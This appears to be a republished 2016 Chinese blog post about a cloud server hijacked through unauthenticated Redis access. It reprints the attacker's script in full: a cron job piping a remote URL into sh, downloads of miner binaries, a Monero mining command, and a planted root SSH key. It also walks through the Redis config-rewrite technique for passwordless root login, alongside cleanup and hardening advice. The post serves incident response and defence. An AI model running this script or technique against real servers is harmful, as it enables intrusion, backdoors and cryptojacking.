小心Redis漏洞让你服务器沦为肉鸡
小心Redis漏洞讓你服務器淪為肉雞
2016-06-23 龍果?
前言
朋友的一個項目接到云服務器的告警，提示服務器已淪為肉雞，網絡帶寬被大量占用，網站訪問很慢，通過SSH終端遠程管理服務器也頻繁斷開鏈接。朋友不知如何下手，便邀請我幫忙處理，處理過程中發現國內有大量的項目因此漏洞中招。在這里我把利用漏洞的攻擊的詳細過程列出來，并給出相應的處理方案和系統加固方案，目的是提醒大家注意系統安全，加強系統運維的安全配置。（特別提醒：本文僅供學習研究和系統安全防御,請不要利用文中所列漏洞去做違法的事情）
阿里云的安全告警郵件內容：
注：對外網開放訪問權限并安裝了Redis的服務器特別容易因此漏洞中招（比如你在云服務器上安全了Redis，云服務器公網可訪問，并且很多云服務器的操作系統默認把防火墻服務關閉了，這種情況特意中招）
一、處理過程：
?1、在沒有查到異常進程之前我是先把操作系統的帶寬&端口用iptables 做了限制這樣能保證我能遠程操作服務器才能查找原因：
?
2、?在各種netstat –ntlp??的查看下沒有任何異常?在top?下查到了有異常進程還有些異常的這里就截圖一個：
3、果斷把進程給kill -9??了??沒想到再去ps的時候又來了意思就是會自動啟動它。這就讓我想到了crond?這個自動任務，果不其然?/var/spool/cron/root?這個文件被人做了手腳而且是二進制的。果斷又給刪除了，以為這下沒事了結果過了兩分鐘這個文件又出來了。這個就引起我聯想到了是不是有其它的守護進程，因為這樣的情況肯定是有守護進程在才會發生。
于是百度了一下異常進程中的一段信息?yam -c x -M stratum+tcp?，果不其然確實是這個進程的問題。資料顯示攻擊是由于Redis未授權登陸漏洞被黑客利用，登錄redis?控制臺一看果然有個莫名其妙的key，?剛好這個key?就是ssh的key，于是斷定黑客是從reids的未授權漏洞登陸進來的。
4、在服務器上我查了自動任務的文件被黑客編譯成二進制的源文件代碼，所以我無法得知內容。?但是我在crond的日志里面找到了它下載腳本的鏈接：
https://r.chanstring.com/api/report?pm=1 （IP地址【104.131.120.66】在美國）
5、詳細攻擊代碼如下：
? ? exportPATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
?
????echo "*/2 ** * * curl -L https://r.chanstring.com/api/report?pm=1 | sh" >/var/spool/cron/root
????# echo "*/2* * * * ps auxf | grep -v grep | grep yam || /opt/yam/yam -c x -????Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8????Coo:x@xmr.crypto-pool.fr:6666/xmr">> /var/spool/cron/root
????echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &">> /var/spool/cron/root
?
????ps auxf | grep-v grep | grep yam || nohup /opt/yam/yam -c x -????Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8????Coo:x@xmr.crypto-pool.fr:6666/xmr&
?
????if [ ! -f"/root/.ssh/KHK75NEOiq" ]; then
???????? mkdir -p ~/.ssh
???????? rm -f ~/.ssh/authorized_keys*
???????? echo "ssh-????rsaAAAAB3NzaC1yc2EAAAADAQABAAABAQCzwg/9uDOWKwwr1zHxb3mtN++94RNITshREwOc9hZfS/F/yW8KgHYTKvIAk/Ag1xBkB????CbdHXWb/TdRzmzf6P+d+OhV4u9nyOYpLJ53mzb1JpQVj+wZ7yEOWW/QPJEoXLKn40y5hflu/XRe4dybhQV8q/z/sDCVHT5FIFN+tKez3tx????L6NQHTz405PD3GLWFsJ1A/Kv9RojF6wL4l3WCRDXu+dm8gSpjTuuXXU74iSeYjc4b0H1BWdQbBXmVqZlXzzr6K9AZpOM+ULHzdzqrA3SX????1y993qHNytbEgN+9IZCWlHOnlEPxBro4mXQkTVdQkWo0L4aR7xBlAdY7vRnrvFavroot" > ~/.ssh/KHK75NEOiq
???????? echo "PermitRootLogin yes">> /etc/ssh/sshd_config
???????? echo "RSAAuthentication yes">> /etc/ssh/sshd_config
???????? echo "PubkeyAuthenticationyes" >> /etc/ssh/sshd_config
???????? echo "AuthorizedKeysFile.ssh/KHK75NEOiq" >> /etc/ssh/sshd_config
???????? /etc/init.d/sshd restart
????fi
?
????if [ ! -f"/opt/yam/yam" ]; then
???????? mkdir -p /opt/yam
???????? curl -f -Lhttps://r.chanstring.com/api/download/yam -o /opt/yam/yam
???????? chmod +x /opt/yam/yam
???????? # /opt/yam/yam -c x -????Mstratum+tcp://46fbJKYJRa4Uhvydj1ZdkfEo6t8PYs7gGFy7myJK7tKDHmrRkb8ECSXjQRL1PkZ3MAXpJnP77RMBV6WBRpbQtQgAMQE8????Coo:x@xmr.crypto-pool.fr:6666/xmr
????fi
?
????if [ ! -f"/opt/gg3lady" ]; then
???????? curl -f -Lhttps://r.chanstring.com/api/download/gg3lady_`uname -i` -o /opt/gg3lady
???????? chmod +x /opt/gg3lady
????fi
?
????# yam=$(ps auxf| grep yam | grep -v grep | wc -l)
????# gg3lady=$(psauxf | grep gg3lady | grep -v grep | wc -l)
????# cpu=$(cat/proc/cpuinfo | grep processor | wc -l)
?
????# curlhttps://r.chanstring.com/api/report?yam=$yam\&cpu=$cpu\&gg3lady=$gg3lady\&arch=`uname-i`
6、腳本分析
找到源頭了，下面我們來分析下這個腳本：
????echo?"*/2?*?*?*?*?curl?-L?https://r.chanstring.com/api/report?pm=1?|?sh"?>?/var/spool/cron/root???每兩分鐘執行一次這個腳本? ? ?
? echo "*/5 ** * * ps auxf | grep -v grep | grep gg3lady || nohup /opt/gg3lady &">> /var/spool/cron/root
下面這兩個是下載文件的腳本跟賦權限
?整個腳本的大致就這樣??
7、處理方法
????要把?/var/spool/cron/root?刪除，??/opt/yam/yam ，??刪除? ?/opt/gg3lady?，刪除? /root/.ssh/KHK75NEOiq?刪除。
? 把gg3lady? yam ?進程結束還有就是sshd_confg?文件還原，把redis入侵的的Redis中的key刪除應該就沒問題了。但是為了安全起見，建議還是重裝服務器操作系統比較保險，因為不能確保黑客沒有留其他的漏洞后門，畢竟root權限已經被其獲取過了。
8、對應的安全處理：
(1) 限制Redis的訪問IP，如指定本地IP獲指定特定IP可以訪問。
(2) 如果是本地訪問和使用，打開防火墻（阿里云等操作系統，默認把防火墻關了，這也是為什么朋友的這臺服務器會中招的原因之一），不開放Redis端口，最好修改掉Redis的默認端口；
(3) 如果要遠程訪問，給Redis配置上授權訪問密碼；
二、Redis?未授權登錄漏洞分析
Redis?默認情況下，會綁定在?0.0.0.0:6379，這樣將會將Redis服務暴露到公網上，如果在沒有開啟認證的情況下，可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問Redis以及讀取Redis的數據。
攻擊者在未授權訪問Redis的情況下可以利用Redis的相關方法，可以成功將自己的公鑰寫入目標服務器的?/root/.ssh?文件夾的authotrized_keys?文件中，進而可以直接登錄目標服務器。
??漏洞描述Redis?安全模型的觀念是: “請不要將Redis暴露在公開網絡中,?因為讓不受信任的客戶接觸到Redis是非常危險的”?。
Redis?作者之所以放棄解決未授權訪問導致的不安全性是因為, 99.99%使用Redis的場景都是在沙盒化的環境中,?為了0.01%的可能性增加安全規則的同時也增加了復雜性,?雖然這個問題的并不是不能解決的,?但是這在他的設計哲學中仍是不劃算的。
因為其他受信任用戶需要使用Redis或者因為運維人員的疏忽等原因，部分Redis?綁定在0.0.0.0:6379，并且沒有開啟認證（這是Redis的默認配置），如果沒有進行采用相關的策略，比如添加防火墻規則避免其他非信任來源?ip訪問等，將會導致Redis服務直接暴露在公網上，導致其他用戶可以直接在非授權情況下直接訪問Redis服務并進行相關操作。
利用Redis自身的相關方法，可以進行寫文件操作，攻擊者可以成功將自己的公鑰寫入目標服務器的?/root/.ssh?文件夾的authotrized_keys文件中，進而可以直接登錄目標服務器。??（導致可以執行任何操作）
Redis?暴露在公網（即綁定在0.0.0.0:6379，目標IP公網可訪問），并且沒有開啟相關認證和添加相關安全策略情況下可受影響而導致被利用。
這里我可以演示一遍給大家看看怎么通過redis未授權漏洞直接免密鑰進行登陸
?攻擊過程
（注意我本機是162???要入侵的服務器是161）
1、?生成本地服務器私鑰跟公鑰
2、把公鑰寫進我們要攻擊的服務器的redis一個key里面去?(為什么要把公鑰加空格追加到一個文件是因為redis的存儲)
3、?登陸要攻擊的服務器redis控制臺，從新定義redis保存數據的路徑為configset dir /root/.ssh/（這個是需要知道linux下面ssh?面密鑰登陸的key默認的存放才能設定的默認情況下是/roo/.ssh一般情況下很多管理員都不會去更改），在把reids的dbfilename定于成?linux?下面ssh面密鑰登陸的文件名就好了configset dbfilename "authorized_keys"（默認文件名是authorized_keys?這個廣大linux管理員都這個這個所以這個入侵還是要點linux功底的），最后保存?save?
4、激動人心的時刻到了直接ssh?登陸192.168.8.161??無需要密碼就能登陸了
到這里我們就可以完全控制別人的服務器了，你想怎么玩就怎么玩了（特別提醒：以上入侵模擬流程僅供學習研究）
5、這里我搜了下全球有10W+的服務器將Redis默認端口暴露于公網之中（僅供學習研究,希望不要利用教程去做違法的事情）
技術支持：龍果學院?http://www.roncoo.com
總結
以上是生活随笔為你收集整理的小心Redis漏洞让你服务器沦为肉鸡的全部內容，希望文章能夠幫你解決所遇到的問題。
- 上一篇： 十条敏捷失败之路
- 下一篇： C++11新特性之新类型与初始化